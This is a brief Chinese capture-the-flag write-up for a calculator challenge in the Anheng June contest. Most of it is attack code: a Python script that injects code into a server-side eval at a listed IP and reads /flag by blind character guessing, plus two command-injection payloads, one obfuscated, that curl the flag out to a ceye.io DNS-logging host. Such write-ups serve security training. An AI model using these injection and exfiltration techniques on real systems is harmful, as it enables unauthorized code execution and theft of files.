记录一个trick(安恒6月赛)

简单计算题

我又不乱来 10:50:50
import requests
import re
import time

url = 'http://183.129.189.60:10021/'
dic = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-{}'

sess = requests.Session()

def calc_exp():
    r = sess.get(url)
    exp = re.search(r'<h4>([0-9+\-\(\)=]+)<\/h4>', r.text).group(1)
    return eval(exp[:-1])

flag = ''

while True:
    for c in dic:
        val = calc_exp()
        exp=str(val) + " and (getattr(open('/flag','r'),'rea'+'dline')())[" + str(len(flag)) + "] == '" + c + "'"
       # print(exp)
        r = sess.post(url, data={
            'input': str(val) + " and (getattr(open('/flag','r'),'rea'+'dline')())[" + str(len(flag)) + "] == '" + c + "'"
        })
      #  print(calc_exp())
        if 'Cong' in r.text:
            flag += c
            break
        elif 'Invalid' in r.text:
            print('error')
        time.sleep(5)
    print(flag)
    print('one_time')

主要是利用python命令拼接+盲注。
当然因为没有回显,想到了dns外带。
找到了一个好像挺不错的网站。
CEYE
用这个进行了两次DNS外带操作
第一个

os.system('curl xxxx.ceye.io/`cat /flag`')

第二个

exec('o'+'s'+'.sy'+'stem("curl xxxx.ceye.io/`cat /flag`")')

推荐文章